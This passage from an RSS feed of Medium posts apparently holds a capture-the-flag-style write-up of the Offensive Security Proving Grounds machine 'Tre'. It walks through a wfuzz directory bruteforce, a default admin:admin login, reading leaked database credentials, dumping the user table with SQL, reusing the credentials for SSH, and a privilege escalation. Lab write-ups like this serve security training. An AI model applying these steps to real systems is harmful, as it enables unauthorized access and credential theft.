login,</p><p>Clearly we are now root!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*5bvKh9L8r7dM3P2_cek8rA.png" /></figure><p>That’s all for now!!</p><p>Until Next Time,</p><p>Stay COOL!!!!</p><p>For any query, catch me on:</p><p><a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b47a8e572db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tre — Offensive Security Machine Pwned!!]]></title>
            <link>https://trysec.medium.com/tre-offensive-security-machine-pwned-3c4dd015c1a4?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c4dd015c1a4</guid>
            <category><![CDATA[community]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[trees]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Mon, 11 Oct 2021 05:47:44 GMT</pubDate>
            <atom:updated>2021-10-14T16:48:39.599Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tre — Offensive Security Machine Complete Write-up</h3><h3>OSCP Type intermediate machine</h3><p>This is one of the official machine from <strong>Offensive Security </strong>Proving Grounds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*IlmUmEjMfadfmK9-Spn4iw.jpeg" /></figure><p>So starting of by exporting IP as environment variable and starting out with scanning services and open ports and found</p><p><strong>Target IP: 192.168.100.133</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*TzUqTjoOCj-2jgqP0G8q9A.png" /></figure><p>Okay, so we got SSH and two HTTP services running and After hoping over to port 80 and found nothing uncommon.</p><p>So the wfuzz useful results are shown:</p><p><strong>wfuzz -c -z file,/opt/Seclists/big.txt — hc 404 $URL</strong></p><p>Using admin:admin as a default creds was able to hop over to $URL/mantisbt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*OWpWDtE3sDysic-Vi5kMew.png" /></figure><p>After bruteforcing <strong>$URL/mantisbt</strong> directory with wfuzz, we got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*z3gTkCTsRYkV9SFScOfnCA.png" /></figure><p>After reaching to <strong>$URL/config/a.txt</strong>. BOOM!! we got database creds, using this creds in <a href="http://192.168.100.133/adminer.php"><strong>http://192.168.100.133/adminer.php</strong></a> and yes! it was a successful login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YstJJ5bo5G-Q4q8fLNVx6Q.png" /></figure><p>Using SQL command <strong>select * from mantis_user_table;</strong> and WOW! we got credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vix9PkLK97AV8PGha9qVLA.png" /></figure><p>So I tried with tre creds for ssh and was a correct login!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*aMLOF4DuMI2Pwh0wl3oYmA.png" /></figure><p>Now all I need is to escalate my privileges to gain root access, After recon in the target machine</p><p>I checked <strong>/usr/bin/check-system permission</strong> and then it was good to go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*l_Gr9CbYuN4LCft8Cf9b7A.png" /></figure><p>In a new terminal, I used OpenSSL to make a new salted combined username and password in MD5 algorithm as shown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qOcJfzEOxesvS4DqsDjqg.png" /></figure><p>And clearly we are root!!!!</p><p>That’s all for now!!!</p><p>Until Next time,</p><p>Stay <strong>Blink Blink</strong></p><p>— — — — — — — — — — — — — — —</p><p>For any query please reach me out below:</p><p>Linkedin: <a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c4dd015c1a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>